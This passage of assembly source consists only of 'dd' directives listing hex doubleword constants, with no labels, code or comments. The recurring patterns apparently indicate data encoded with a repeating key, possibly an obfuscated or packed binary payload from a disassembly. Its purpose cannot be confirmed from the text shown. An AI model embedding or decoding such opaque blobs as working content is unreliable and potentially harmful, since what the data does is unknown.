0D6E94DC2h, 0AF6D71BCh, 0D5B15342h dd 0EAB13FBFh, 0C8397F56h, 0EBC35D5h, 66129C2Ah, 0AEB11350h dd 57B13EBFh, 0B3A26F56h, 0E9185930h, 415D8EBCh, 7AB13242h dd 0BAB13AD5h, 3E65256h, 437C8930h, 0BEB13237h, 0ABB13259h dd 0D7D32496h, 90D1DAAh, 3F17D248h, 0BA86C91Ah, 5DBBDB56h dd 0EB143256h, 1B78CDA9h, 8DDEC56h, 0D5B0BE59h, 0EA443256h dd 6A3D3D56h, 0DAB13256h, 5DB123BEh, 391C5856h, 7A026CF9h dd 4A222C42h, 0BC9C5464h, 0E5EB4F93h, 75B132D6h, 0A8585356h dd 0A7B13256h, 52E99A0Bh, 32DCA98Bh, 0A86A1112h, 76D64D02h dd 12B13214h, 0F4D13256h, 369FCB84h, 5DB1535Bh, 6F0E3D36h dd 522EC5D7h, 0ABD042C5h, 0D5B7DB56h, 0B39B3256h, 2D7B9EC8h dd 0BA483256h, 5C3E3D56h, 52B13256h, 57B126BFh, 316D8156h dd 9E29DEEDh, 0EA9697A9h, 127DFE35h, 2BE14CB0h, 0B4B132A4h dd 0AEB1325Ah, 4831D84Eh, 19FA9F80h, 2919A310h, 0F9583256h dd 7AB13256h, 0AE47C15Ch, 9A7CF47Fh, 0CC1275ECh, 777720DBh dd 27BECE12h, 0D5B1324Fh, 0EAB126BFh, 44A2D656h, 8D6ED340h dd 8346A102h, 0C3E1980Fh, 0D2550BEAh, 42B13277h, 0D5B13259h dd 0D42FE9A6h, 5A14C536h, 61D89999h, 0B46158B7h, 0AEB1325Fh dd 324DF296h, 0FCD7FE6Bh, 0DAB132CFh, 0EAB13FD1h, 75B9DB56h dd 0E64A3256h, 5A53D646h, 0AEB1E0A4h, 57B6B459h, 0CBD13256h dd 1660B237h, 3B13237h, 75B1325Bh, 0DE2FD311h, 0BC45B5A0h dd 5999A9Bh, 0ABB13296h, 0AB443256h, 0D5BFDB56h, 0BF0A3256h dd 5D95D23Ah, 0C116DD91h, 0D642644h, 0A1D13256h, 57B134D6h dd 0AB373D56h, 3DB13256h, 0EAB1325Dh, 0B96C6D33h, 569A10D0h dd 5209CD7Eh, 0AEB132D6h, 57D06956h, 0AA3F3D56h, 2DB13256h dd 0E2583256h, 0A9B13256h, 476A57FCh, 5DAA0BCBh, 0B6393D56h dd 0BEB13256h, 0ABB13245h, 32A90882h, 45C42285h, 0BC8BB55Ah dd 9A438FE7h, 5D0273A6h, 0A2373D56h, 58B13256h, 0ABB134D6h dd 0D53B3D56h, 0EAB13256h, 75B1CA56h, 0BAA4BE59h, 0D3BE3256h dd 0AEB13259h, 57B138BFh, 8DD6BE56h, 0F26354F7h, 0EA3E4FE1h dd 75B1CE56h, 0BAB13FBFh, 11405D56h, 4C44B81Eh, 61C2B2B8h dd 0ABB17888h, 0D5B139BFh, 0C4266456h, 0A7A35303h, 0F900856Dh dd 4D583256h, 0A6B13256h, 0A1BC3B9Eh, 0CD6DE8h, 5D553452h dd 0EABB0BFCh, 75BFDB56h, 4FC33256h, 0D8E5A38Ch, 1DBC487h dd 0A49CD23Dh, 21BE3256h, 0D5B13247h, 0EABAB359h, 73583256h dd 31B13256h, 0E18896D8h, 0BA585213h, 1AB13256h, 48FC27B3h dd 9952F82Fh, 0F50F8454h, 73BE4852h, 0B55A5CDBh, 5DD0CBE9h dd 0AF3A3D56h, 0AFB13256h, 0CAD13256h, 0D5B0B859h, 0EA493256h dd 75B1CB56h, 42B132AFh, 5DBDB959h, 26BE3256h, 57B13250h dd 0ABB1B759h, 0D5B13256h, 0EAB13DBFh, 9E86CE56h, 0C09D788h dd 0A5D009C2h, 2D0CBA1Bh, 0EFD13256h, 0D7E2D59Ch, 1E063D04h dd 0EAB1530Dh, 75BEBC59h, 52D13256h, 5DB13253h, 918C645Ah dd 0A23B6B27h, 0AC323D37h, 0DAB13256h, 0EAB133D2h, 75B1CB56h dd 0BAB126BFh, 0B6B9A56h, 4B751F75h, 91D40570h, 77096927h dd 562292BFh, 0E5B132EBh, 75B135D2h, 48315256h, 3C6084EDh dd 0AEB9B559h, 0DDBE3256h, 0ABB13254h, 0D5B15336h, 8AB132AAh dd 75B123BFh, 319B3956h, 2A35B29Fh, 6FCE2C9Eh, 59176E27h dd 0B8591A7Dh, 0E7B13256h, 51F50F7Bh, 173D78B0h, 8A934FC6h dd 5FA4AA50h, 0F64DD133h, 58B13237h, 0ABB131D0h, 0B4485256h dd 0FA583256h, 8CB13256h, 0A507B7B5h, 0DE3D93DAh, 0B517D192h dd 57715B38h, 0A458CB56h, 0F3B13256h, 7ED197F8h, 741305EBh dd 4B2D0B92h, 5DB169D5h, 0AEBBB359h, 52583256h, 0C5B13256h dd 3CFA2066h, 69BE3256h, 75B13243h, 0BABEBA59h, 57583256h dd 0FB13256h, 0A97E8E6Dh, 0BD70783Bh, 0B5B132E7h, 8BFD8336h dd 75B123BFh, 0D5C55C56h, 7553052Bh, 0D2899FD3h, 0E5997BA4h dd 0ABD01C83h, 0D5BFDB56h, 0C8E13256h, 0A23ADD3h, 0A533BB83h dd 0A0E8D9AEh, 0AB343D36h, 31B13256h, 0DA8ADBD7h, 0D5D06A06h dd 64BE5256h, 75B13253h, 5D3192ECh, 4D303D7Bh, 47B13256h dd 57B1325Dh, 4EFF414Eh, 74F35ABEh, 8BF3223Ch, 75493256h dd 0BAA1DB56h, 8EC23256h, 676EA1CAh, 0AB45C63Ah, 0DD2C5A0Fh dd 0D5B1BAAEh, 13B132AAh, 75493256h, 0B63B3D56h, 52B13256h dd 0AEB134D0h, 57313D56h, 0ABB13256h, 0D5B1CB56h, 0E5B132AFh dd 75B122DCh, 0BABADB56h, 6A1E3256h, 0C4CD22F2h, 8F1C977Bh dd 5EB132ACh, 0DAD13256h, 0EAB122D7h, 75BADB56h, 0E1193256h dd 0AF17AA37h, 0A3EAF6EDh, 57B15316h, 0ABB0B259h, 0D54D3256h dd 8C4D5256h, 144706ECh, 0B5583256h, 63B13256h, 909AB662h dd 0DEF9533Dh, 69281D89h, 0D5B157A0h, 0EAB138BFh, 0BCA56456h dd 87A1794Dh, 5D9888DFh, 0BC3A3D56h, 0BEB13256h, 0ABB1325Bh dd 0B9515696h, 0EEEBADEBh, 888A501h, 43B13247h, 9E085436h dd 2ABE525Ch, 57B13256h dd 0ABB1BC59h, 0B4D03256h, 0EA443256h, 75B1CB56h, 527FB936h dd 5DB13259h, 0D05FEAE7h, 6E5BD1FEh, 9386919Ch, 6C3734D0h dd 9746A21Fh, 75B1530Ch, 0BABDB659h, 0DCBE3256h, 0AEB13250h dd 57B1BE59h, 0ABB13256h, 0B5B132AFh, 0CC66C4D7h, 0D90B7863h dd 0DBA2ADE8h, 3BD13256h, 0C8BC27ECh, 36334AECh, 0CDD13256h dd 0B5EF17EEh, 0F75EB330h, 14D0CE70h, 52D13256h, 5DB13250h dd 0D62C50C5h, 36D18F71h, 0ABBFDB0Eh, 82E93256h, 49BC56DDh dd 0DEE9BFF6h, 0B1FA9606h, 0A1B13237h, 0A6583256h, 0F0B13256h dd 0C25DA8D9h, 0D54C3F90h, 0F93B3D56h, 9CB13256h, 0BAB13258h dd 6AA5966Dh, 0FF58ED25h, 3744B236h, 0ABB19752h, 2278B336h dd 3C69AE3h, 75B13251h, 865B8E3Eh, 3C992F6Bh, 0AEB137BFh dd 0CC2A156h, 0ABB15014h, 6ED7C736h, 0EAD0E103h, 74303D56h dd 42B13256h, 0DDBE3256h, 0AEB13257h, 58B132AAh, 0ABB13AD9h dd 0D73F3D56h, 8AB13256h, 7B313D37h, 0DAB13256h, 5DB1BA59h dd 65303256h, 0CC8ABBh, 0CBB13237h, 123A54AAh, 0E5B13237h dd 75B139D0h, 0BAB7DB56h, 86323256h, 7F6224F5h, 44583256h dd 0CAB13256h, 7A2840C3h, 8E256BF6h, 7F7C69D2h, 0F08D3BDFh dd 5DB10C6Ch, 0AEB137BFh, 0E1DD5156h, 0ABB1E726h, 0D5B122BFh dd 0CD829456h, 0B04D1298h, 5ABE3684h, 62368537h, 47B1320Dh dd 57B13253h, 66180831h, 20B132B6h, 0EAB13CBFh, 7CD29956h dd 7886550h, 8C142B5Ch, 0AE287340h, 5C3F3D56h, 0CBB13256h dd 0DA6BB930h, 0EAB132D6h, 75B15356h, 0B16BB236h, 52B13237h dd 0AEB133DFh, 57B1CE56h, 0ABBDB659h, 53BE3256h, 0EAB13250h dd 75B1B459h, 0BA443256h, 0A4E05256h, 0AEB1530Fh, 57B121BFh dd 6B329A56h, 2D81460Fh, 58346564h, 0B36A8AE6h, 7C8EAE49h dd 0D2BE3256h, 0AEB1325Ah, 57B7B059h, 26BE3256h, 0D5B13256h dd 6FBE3256h, 75B1325Dh, 790E5436h, 963054A3h, 47D0B568h dd 57B13250h, 0CBCD5475h, 0D5B15653h, 63BE6036h, 75B13256h dd 0BAB1530Dh, 5DBDBE59h, 0A9583256h, 0CCB13256h, 0C0F7AEEEh dd 0D5B1129Fh, 3B132AEh, 75B1325Ah, 89303B32h, 0B70B325Eh dd 7B7BB1FCh, 44583256h, 76B13256h, 2F87D513h, 0A6F88C0Eh dd 305F13D6h, 528C9B1Ch, 5DB14246h, 0A1B132AEh, 57B123DEh dd 0ABBDDB56h, 1D213256h, 0CA2742F7h, 3C72AAA2h, 0BAB10B49h dd 8E0E3D36h, 0AEB5BB59h, 0E9D73256h, 0A4D0ACDBh, 0D5B12EDDh dd 0FC3D3D56h, 9CB13256h, 0BAB13247h, 2017DFBDh, 572DB33Eh dd 71813098h, 55647082h, 20B1324Dh, 0EC583256h, 0D5B13256h dd 5D0DA13Dh, 3DB13211h, 0F5EF6506h, 0BEB13237h, 0ABB13259h dd 3BB9D39Fh, 6A9DAFF8h, 0E51D5E97h, 0BA9BAB11h, 5DB8DB56h dd 74BD3256h, 7FF00574h, 0AB6068ACh, 0D5B6DB56h, 26143256h dd 6BE2A638h, 0BABBDB46h, 0FC7E3256h, 0EBFDEEFBh, 53E49166h dd 2CBE3256h, 0D5B13257h, 3B132A3h, 75B1325Bh, 0F760B8EAh dd 6B51FCB1h, 10D46D6Bh, 0ABB1329Ah, 0A4D13256h, 54D7E0E9h dd 8B23E3B9h, 75B139BFh, 687E5256h, 0ED18880h, 2224317Ch dd 0DDBE3256h, 0ABB13242h, 0D5B13DBFh, 9CBDE256h, 0AB78A3FFh dd 0A48AE92Dh, 374D7D9Eh, 18095436h, 3643B9DBh, 2BD13256h dd 54D7CBBEh, 8B4DBFB5h, 7B583256h, 32B13256h, 0FB2D2A6Fh dd 2B2CC398h, 516852D6h, 0A4B132F1h, 0D5B13ED4h, 0EC303D56h dd 7AB13256h, 0BAB132DBh, 0A8B13256h, 0A4583256h, 34B13256h dd 9D37DA75h, 0C4CD1F1Dh, 0E5B13202h, 75B139D5h, 60315256h dd 5D323D41h, 0CFB13256h, 58D13256h, 0ABB137D5h, 0C305456h dd 8B4D9A33h, 4B7FB236h, 0BAD0A9E3h, 0E2BE5256h, 0CF43B9A7h dd 50583256h, 1B13256h, 0DBB3867Dh, 0EAB17859h, 75A2DB36h dd 0D8813256h, 47C8211Ah, 0D4B39AD1h, 0B78832CBh, 737953BDh dd 0D5B15319h, 0EAB0BE59h, 75493256h, 0BABFDB56h, 1E303256h dd 7FF22D05h, 7642B972h, 2A178B09h, 3CB132AEh, 0EAB1325Fh dd 0B5D62499h, 0A949C58Bh, 0B4B13293h, 0AEB1325Eh, 1BEF4C7Ah dd 0E7B63E79h, 0D5483256h, 0EABEDB56h, 0EAA23256h, 0C477BA06h dd 1A31B066h, 76E83EDFh, 0BEB132D0h, 0ABB13247h, 0BD9AFC56h dd 120F4BF9h, 0D1E5F856h, 99663009h, 52B132AAh, 0AEB139D1h dd 8E305256h, 0C9A8D5A8h, 0B47F8D59h, 60D13256h, 73333D97h dd 0B5B13256h, 5DB132D5h, 0AEB15356h, 57BDB659h, 21BE3256h dd 0D5B13250h, 0EAB1B459h, 13D13256h, 31D7C0DDh, 5DB153AFh dd 2FD76536h, 0E3B2085h, 0ABB9DB37h, 3A9A3256h, 8531A82Dh dd 75B1EE9Fh, 52D28136h, 5DB13247h, 273CB175h, 0F92AFA3Ch dd 0A1D9D256h, 0A4D15A90h, 0EAD06DFBh, 75B1CE56h, 9263B336h dd 3CF2336Dh, 0A5583256h, 6AB13256h, 31A96579h, 9681459h dd 0EA49476Eh, 754DCB56h, 0BAB8DB56h, 0E2213256h, 0FB0739AEh dd 57AEC7AFh, 2AD75256h, 0DA7D3C87h, 0EAB130DDh, 14D05256h dd 43B132AEh, 52B132AEh, 0AEB135D6h, 31445256h, 0CA245DEDh dd 0DC583256h, 11B13256h, 1BAEBAC9h, 4D5ACC73h, 5DB126BFh dd 90EF5256h, 52AFE76h, 0DDB96B0Ah, 53AFE3EBh, 0CF17974Ah dd 80B13270h, 0B5583256h, 3AB13256h, 859733A2h, 0A1509D16h dd 61162AACh, 53BEA497h, 0EAB1325Eh, 75B3B359h, 0DBD13256h dd 0DABE3256h, 0AEB13247h, 57B13EBFh, 0F5BA7256h, 8053C021h dd 8D1911Bh, 75A2DB7Dh, 2ACC3256h, 5E65DF8h, 882AF2E3h dd 483F26CBh, 84958782h, 0DAB13242h, 0EAB135D9h, 74393D56h dd 46B13256h, 3BD13256h, 0CE8AF1D7h, 57B153AAh, 0ABA2DBAEh dd 0DFFF3256h, 0BF01779Ah, 377EE245h, 5DB1418h, 0F0434A04h dd 52B13279h, 58583256h, 2BB13256h, 9E1CE449h, 422074E4h dd 27FA3FAAh, 0BAB1253Ah, 5DD0C736h, 0AEB1C756h, 57B126BFh dd 6D689256h, 8DC3A8ABh, 0E6AD2D10h, 0B1C16DB4h, 0FDCE46A8h dd 0A1B13278h, 0AE4D3256h, 0DB0E5256h, 0F8B98EFAh, 8A42B930h dd 0E4595237h, 0F3B13256h, 460949D3h, 0D81D5DEBh, 0ACDEC16Fh dd 3E60B311h, 0F2B20E91h, 0D5B153A3h, 0EAB9BE59h, 0F1BE3256h dd 0BAB13254h, 5DB15336h, 0AEB6BF59h, 0D3BE3256h, 0ABB13257h dd 3CB132AEh, 0EAB13251h, 9B12410Dh, 0BA562D81h, 0BE305256h dd 0C8EF2694h, 57B9DB37h, 2423256h, 0CBEF7222h, 0EAB1D663h dd 75BAB059h, 0BC583256h, 0B5B13256h, 0DF098492h, 58B13243h dd 0ABB136DBh, 53B5256h, 0EAB6DB37h, 0CF263256h, 4F0A7B61h dd 0A1B132FFh, 0AEA0B759h, 5B583256h, 0A5B13256h, 0A4F83F0Ch dd 0AB5F9702h, 75ED09D7h, 0BABFDB56h, 373F3256h, 0D221C981h dd 0E4354EBCh, 0DD083D05h, 0D5A6BE59h, 0F8583256h, 7DB13256h dd 0CF86048Ch, 45B1846Ah, 7F98EB9Bh, 0CEC17804h, 42B1320Bh dd 0D5B13253h, 56F9ACCBh, 9CB1321Ch, 0BAB1325Fh, 7A3A6A3Bh dd 43BAB780h, 37B13290h, 0A44BB930h, 0D5D0F0E9h, 0EAB1C756h dd 8CB132AFh, 0AE583256h, 6BB13256h, 6BD399A4h, 9229A4EEh dd 8002570h, 23D8CEF2h, 0EA7459A4h, 0F4D75256h, 0B55B80B4h dd 5DB137DEh, 59305456h, 57D0ECC4h, 26BE5256h, 0D5B13254h dd 6BD76A07h, 14E9078Ch, 34BE3256h, 5DB13242h, 0AEB13DBFh dd 749C6256h, 9C242604h, 3BA9395Ch, 0BA7DB5E8h, 75483256h dd 0BAB1CB56h, 5DB13EBFh, 97498F56h, 952DE6FEh, 8FCCF84Dh dd 0DAB132A1h, 0EAB133DFh, 75B1CE56h, 43B132A3h, 51583256h dd 0F5B13256h, 455CAD90h dd 0D3AC3F30h, 0D59758F1h, 343A5256h, 75B153A3h, 0BAB134BFh dd 7CB8F656h, 0AE2DD343h, 56353D56h, 57B13256h, 3A305436h dd 0E5D19B3Dh, 0FFBECDE1h, 0BAB13256h, 5DB15337h, 29BE6236h dd 57B13256h, 25BE530Ch, 0D5B13251h, 0E5E96536h, 75D0CAE1h dd 0BAB1C756h, 5DB13FBFh, 62107E56h, 0D2B3C7FCh, 0E946B5E9h dd 0D5B1CF30h, 8AB132AAh, 3F0C0D7h, 0B5D0433Eh, 5DB123D4h dd 0AEBDDB56h, 159D3256h, 0FDA2C16Bh, 632C1A7Ch, 0EAB11231h dd 75B0BB59h, 0BA493256h, 0D6D75256h, 5247B2A1h, 0BEB13237h dd 0ABB13245h, 232D7A28h, 48F2E819h, 4B4A87C3h, 0A6E6616Dh dd 5D45D892h, 713A5256h, 58B13237h, 0ABB135D6h, 5ED75256h dd 8B4AB9A6h, 0FABE3256h, 0BAB13257h, 0B4B132AAh, 0AEB1325Ah dd 6BB31071h, 2E655DC3h, 0F4B8F607h, 0EAB135BFh, 0A988B656h dd 0E25DB4Eh, 4F583256h, 45B13256h, 0E4401E6Ah, 19AF1718h dd 4DA5656Dh, 0B69828B5h, 9CB132A8h, 0BAB13258h, 0E44CADC0h dd 0D4E7D1A2h, 3A6B2BDFh, 0ABB1B938h, 0D5B137BFh, 8A3BD756h dd 75B1D215h, 36FB336h, 0B5D80611h, 0AEB13246h, 58D629F3h dd 964D0A7Bh, 415C330Bh, 3D98E57Eh, 75B13BBFh, 0CE881E56h dd 0BA754506h, 0CFEF8F89h, 57443256h, 0ABB1C756h, 0D5B126BFh dd 0C737D356h, 0BF14CA5Fh, 0DBF58111h, 0FE438CE5h, 0E560D2C9h dd 0AFB132F0h, 2AD13256h, 0B84813BCh, 0C8508B5Eh, 9CD07990h dd 0BAB1325Eh, 4E39C192h, 4B1B6EC3h, 0DEBE3256h, 0ABB1325Dh dd 0D5B134BFh, 0FE50356h, 7A7314A0h, 0BAB138D5h, 0D6D75256h dd 890F8B80h, 57D04C6Fh, 0ABB1CA56h, 0D5B13ABFh, 51904556h dd 9461B73Bh, 4FB13287h, 0D8BE3256h, 0AEB13257h, 0BEB132AAh dd 0ABB13258h, 0ADD6CCDFh, 9DC9FF67h, 0BCDDBE0Ah, 0BAB1FC75h dd 52B132AAh, 0AEB133D2h, 57B1CB56h, 0ABB134BFh, 0FFD46156h dd 0EACDE5D3h, 0F2BE5256h, 0BAB13254h, 0AC306D04h, 82CF1B09h dd 0ABB13237h, 0ABB13FBFh, 0FF0FA956h, 0DEC9C616h, 0DFF210B8h dd 0BAB19574h, 5DB120BFh, 0A2C4B556h, 352B3F33h, 0C2172348h dd 441BE29Eh, 0EAEAAD12h, 0B2315256h, 0DB4BB9BCh, 5D4D3256h dd 0A2353D56h, 37B13256h, 0C50F05EFh, 43C38D58h, 0EAD048D8h dd 75B4DB56h, 8F463256h, 5DB6F4C5h, 0AEB1CE56h, 57B134BFh dd 0F0CE6A56h, 0D5E54128h, 0EB323D56h, 89B13256h, 0B5D13256h dd 5DD0F0E9h, 0AEB1CA56h, 57BDBF59h, 0AC583256h, 65B13256h dd 96BABC1Eh, 75B1ED01h, 0BABDBD59h, 0DDBE3256h, 0AEB13250h dd 57B1BC59h, 0B8583256h, 0C1B13256h, 52F60B27h, 0D68CC03Eh dd 12E1CD86h, 0B567A2E3h, 0AEB14635h, 57A0B759h, 29BE3256h dd 0D5B1325Dh, 0EAB134BFh, 0DA32556h, 0BAE2E564h, 5DB1CA56h dd 0A93E3DAAh, 58B13256h, 0ABB133DFh, 0D5B1CE56h, 8AB132AAh dd 0A5CA8A30h, 0BAB7B859h, 0AB303256h, 929C664Fh, 0BEB13237h dd 0ABB1325Bh, 0BF10703Eh, 9087046h, 0FF342D93h, 42B13256h dd 0DCBE3256h, 0AEB13251h, 57B0BB59h, 0AB483256h, 54D75256h dd 5E6AD291h, 75B15381h, 0BABEDB36h, 32313256h, 94F9EE9Fh dd 4F459262h, 7425B8C7h, 0D5BEDB16h, 2B763256h, 0E722B33Fh dd 67EB8C9Dh, 0AB85B2CFh, 0AEB15381h, 57A6B659h, 0B9583256h dd 77B13256h, 3DF33C89h, 55DDA735h, 123DCABCh, 0B630A307h dd 5BB132E6h, 57483256h, 0AC323D56h, 0DAB13256h, 0EAB133D6h dd 75B1C756h, 0B5B132AEh, 5DB133D5h, 0AEB1CB56h, 57B0BD59h dd 0A44D3256h, 0D5B133D7h, 0EAB1CE56h, 0FED752AAh, 0BABDDBADh dd 25F03256h, 0CE87DF2Dh, 0BFC1A129h, 0ABD04A1Bh, 0D5A3DB56h dd 41FE3256h, 0D11BA7BFh, 3976BE73h, 0EE6CD687h, 0C85F020Ch dd 0D4BE3256h, 0ABB1325Eh, 0D5B3B159h, 8BD13256h, 80B132AFh dd 0B5B132A3h, 5DB124DDh, 0AEA0DB56h, 2FE83256h, 3B3EAFF5h dd 60B91C76h, 3CA73EA6h, 756B9070h, 0BAB1CB56h, 3446436h dd 5F3A5406h, 37D1530Dh, 0A46EB930h, 0D5B132D0h, 8B4D5356h dd 65583256h, 59B13256h, 0F43A78F9h, 7F9B3CAh, 11DDE1D5h dd 0ABD3FAEDh, 6ABE5256h, 8C445291h, 14D0C1DDh, 0ED13256h dd 5DB15376h, 2E7EB836h, 37D0698Dh, 54063D36h, 1F063D01h dd 0EA595308h, 2FB13256h, 7931D8D7h, 0D9BE35BCh, 0AEB13266h dd 57A3DB36h, 44AA3256h, 5DD1FBFDh, 67AE0F20h, 5EEF253Bh dd 0A0531B0Eh, 5DB120BFh, 0E52DD956h, 7D8607D5h, 0B9F238A9h dd 5FACE53Ah, 8B8B32DEh, 75B134BFh, 29403E56h, 0A15A0A94h dd 1B91B7DBh, 0D7BE35BFh, 0ABB13251h, 0D5B0B059h, 8A4D3256h dd 7137B5EFh, 0B63D3D36h, 0B4B13256h, 0AEB13251h, 7DAD8F55h dd 0CAE60100h, 790BB0DFh, 6BBE35BCh, 75B1325Dh, 0CF0A5436h dd 8D305445h, 23D0B860h, 0BC1F66D4h, 2938CB51h, 0D25B9EBBh dd 0EAA3B059h, 0FCBE3256h, 0BAB1325Ah, 5DB135BFh, 544C5456h dd 0A59CCB8Bh, 0AB8532BEh, 0D6095256h, 2F9B938h, 75B13258h dd 0B3EBB004h, 84AE1BB9h, 0CE1CCF7Dh, 5158545Ah, 63B13256h dd 368EAD5Eh, 2D069A5h, 75B1303Dh, 0B033F5AEh, 5DB6D8FAh dd 0A1B13256h, 57B135DBh, 1CBE5256h, 0B4D052AFh, 0E0343D04h dd 9CB13256h, 0BAB13253h, 1F13068h, 8334F4B1h, 1B6D67Ah dd 0ABB13DBFh, 3F938D56h, 0A62CBC34h, 0FE81CFE2h, 0B1447FE9h dd 0F509603Eh, 19BE52CAh, 3666B890h, 0EA04CDAEh, 0B5B6D677h dd 0EAB13CBFh, 9981FA56h, 0E92996E9h, 9AFB7154h, 2F5BFE37h dd 3CCD2CA7h, 2E3C5355h, 0D25682F1h, 79085236h, 7AE95B00h dd 0BAB132DFh, 0EB0F5356h, 0CFC6CB35h, 0D7D1E2A9h, 0A2592890h dd 9AB13256h, 4982D04Eh, 59CA3B78h, 33D069AFh, 0B992D3D3h dd 0B9323D51h, 37B13256h, 0B159B330h, 0D5BADB6Eh, 1DC83256h dd 0CF13F422h, 3361CF42h, 59DB53E1h, 59305236h, 0CFAB853h dd 0AF50B330h, 0DAD153B4h, 0EAB132DAh, 7D6DB256h, 0BAD95337h dd 52B13246h, 0AEB121D1h, 57BFDB56h, 21F03256h, 0B950B7F2h dd 0CACBB59Ah, 9E942FBEh, 0B9BC723Eh, 5DDBCB56h, 0AEB13EBFh dd 0E8868256h, 8E526B0Fh, 5D927147h, 0E561CDF5h, 75B135D0h dd 0BB3C3D56h, 0A1B13256h, 20BECE0Ch, 57B1325Ah, 0ABB7B459h dd 5CBE3256h, 0EAB13256h, 0F1BEF25Dh, 0BAB13340h, 0B44D52AEh dd 0AEB13245h, 56DAACA8h, 0AE885A5h, 0D89CB041h, 6BA89C04h dd 140B86F5h, 16BBB0DFh, 0D6BE35BCh, 0AEB1325Eh, 57B3B659h dd 0CAD13256h, 79ABB0DFh, 534935BCh, 75B23F16h, 5349B9A3h dd 5DB13247h, 0AC345517h, 0CF0F2B23h, 5B613C0Bh, 5FF15247h dd 0EC58522Bh, 0A9B13256h, 753B8876h, 6809548Ah, 6E82538Ah dd 579BB359h, 42D13256h, 0D5B1325Ch, 5BE26FD1h, 0CD5A7BD1h dd 0AE58731Ah, 0DEB13256h, 0AD9169AFh, 0CB2F3B9Dh, 60D01EDAh dd 86EB5EB1h, 8BA73312h, 274D98A5h, 53B558AFh, 5DB13258h dd 2EBAA085h, 21E21EE0h, 714D2DB0h, 0D5D9AA24h, 3B13246h dd 75B1325Fh, 0C398C374h, 869C2A36h, 0AAB15A73h, 3D493256h dd 0ABA0DB56h, 0A72C3256h, 0B6C4047h, 3546A702h, 8DE2A9ADh dd 0A892C93Eh, 8D50A0A9h, 0D7BE35B2h, 0ABB13240h, 0D5B123BFh dd 0C810B856h, 0F2055CFAh, 723CA204h, 9E2A7942h, 56EB27F4h dd 57B0B359h, 224D3256h, 3F1E2AD4h, 16D0CA51h, 0D9BBB7DDh dd 3CBE35BCh, 5DB13257h, 0CE4DF1A3h, 57B13ABFh, 93E48D56h dd 53FE6002h, 0E733F5A5h, 75B6D665h, 0B5B17256h, 5DB13AD7h dd 0AC3D3D56h, 37B13256h dd 7A33F537h, 0D5B6D64Fh, 0E5B13246h, 75B133D3h, 53D0C756h dd 5DB1325Eh, 0C2EFAC2Dh, 1D6D3175h, 0ABBEDB95h, 1C863256h dd 81531222h, 329E5F83h, 0ECF18E48h, 0A444521Fh, 2BB88DDh dd 0DBBE35BCh, 0ABB13251h, 0D5B0BB59h, 69483256h, 0F1BE3269h dd 0BAB132BBh, 5DBDB759h, 22BE3256h, 57B13250h, 0ABB1BC59h dd 0AA323256h, 6EBE3046h, 75B13239h, 0C571B336h, 0AEBB3CFh dd 5BD06CAFh, 53A14DD5h, 0AB37B659h, 0B3D13256h, 0AC08EDD7h dd 75B121BEh, 0E4B2B756h, 0C4CE94E9h, 6DDFE724h, 96AFE011h dd 4B00F0B4h, 0D5B123BFh, 0B51F3256h, 0D37F27FAh, 0BA597F8Eh dd 4B573D0Ch, 0CFE92D6Eh, 4376B1A3h, 0ABB13CBFh, 0DBD8056h dd 916002D5h, 4194EE42h, 53BBC3D3h, 0A24ECD25h, 0A90F5436h dd 90D0C704h, 0ABB02211h, 0DD583256h, 30B13256h, 0B1AE4C19h dd 5379C499h, 0A24ECD93h, 0AEBCDB36h, 31EE3256h, 0C1BAFEE6h dd 1D316FB4h, 8B965CE7h, 76A17591h, 0B5B13256h, 5DB13AD8h dd 74305256h, 1D64E266h, 5426DB37h, 87D1CDA9h, 0DF881CE8h dd 78586B17h, 91B13256h, 3955A014h, 5D0C0A82h, 902456C5h dd 0BA585337h, 0A5B13256h, 1C43F13Dh, 4726F883h, 536C58DAh dd 1F3B7F1h, 0AEBDDB95h, 0E9573256h, 1C312019h, 0D2A6FE0Ah dd 8AE4FF47h, 75B135BEh, 1028F556h, 0D6633046h, 0A1E66BAFh dd 36E8CDE1h, 0AF333D36h, 0B3B13256h, 614D0BE8h, 993A539Dh dd 0BAB7BC59h, 3BD13256h, 0CF761EEFh, 5D353D36h, 42B13256h dd 0D5B13253h, 0B54F03BDh, 75B1DAEAh, 3BEB3256h, 0B77991BCh dd 0A058CA51h, 0EB13256h, 20C0A4E5h, 3125EB38h, 58DA4320h dd 5B03B970h, 0B5B6D8F9h, 5DB13EDEh, 0A8373D56h, 58B13256h dd 0ABB132D8h, 0D5B8DB56h, 0DF053256h, 0EEA6B2E4h, 31443D69h dd 4E583A13h, 1CB13256h, 1D1ED10Dh, 2A2D9BDDh, 6329B1Eh dd 220A743Ah, 73380634h, 0BAB139BFh, 616E5256h, 7DA9E416h dd 0AA3C1D05h, 49FB0D5h, 20B535BCh, 0ED585237h, 18B13256h dd 24C4FB90h, 94D01286h, 2FD76036h, 0CE9EBB1h, 69D0C2DDh dd 0B5493252h, 0EABDB659h, 0F8BE3256h, 0BAB13250h, 5DB1BB59h dd 0AE593256h, 0DB13256h, 62E1D8D7h, 204D35BCh, 45A980DDh dd 4E4935BCh, 501E1CE4h, 8C353D51h, 0CEB13257h, 0E75BDAD6h dd 953A5374h, 0B3A6536h, 0F0B600Ch, 2BD550EFh, 536EB937h dd 5DB1325Eh, 7F543373h, 0AAB7CD80h, 0AAFE8459h, 0D5B0B959h dd 1C483256h, 7A313311h, 0BAB10CD3h, 0E2BE5256h, 0AEB8DBAEh dd 0FD6B3256h, 4A3E6605h, 0B459FD80h, 68BEEB55h, 75B13251h dd 0BAB0BD59h, 0B4493256h, 0AEB13265h, 57A0BF59h, 0A7583256h dd 7FB13256h, 23DBF208h, 0D5DE9357h, 91B1014Fh, 49313D8Fh dd 47B13256h, 57B13259h, 8B86C91Ah, 13FEA099h, 7EEC7C4Dh dd 365551CEh, 53D152AEh, 5DB1325Bh, 284C2899h, 99BF8167h dd 0C88827DFh, 0B472B841h, 0C25AE2D7h, 36D0292Eh, 0BAB0B359h dd 0D64D3256h, 4A927FD3h, 57BBDB51h, 148B3256h, 9FF112B4h dd 0BC6A9A90h, 60D4BFDDh, 814935B2h, 0E8333D8Eh, 0A1B13256h dd 57B12FD7h, 0BC3E3D56h, 3CB13256h, 0EAB13244h, 616C45A9h dd 0D0F13218h, 6656021Fh, 655F7D1Ch, 8E8A4D1Ch, 0AB3BB559h dd 0C6583256h, 3B13256h, 0C1B8C354h, 0C2C1B1CEh, 0BA6FAFD6h dd 6670F69Fh, 913231EEh, 43D15252h, 0D5B1325Bh, 0CC29D32Fh dd 39AADE5Ah, 0F40E44ACh, 49586D2Fh, 3AB13256h, 424E4964h dd 0DACD3F09h, 0ECD6C7E7h, 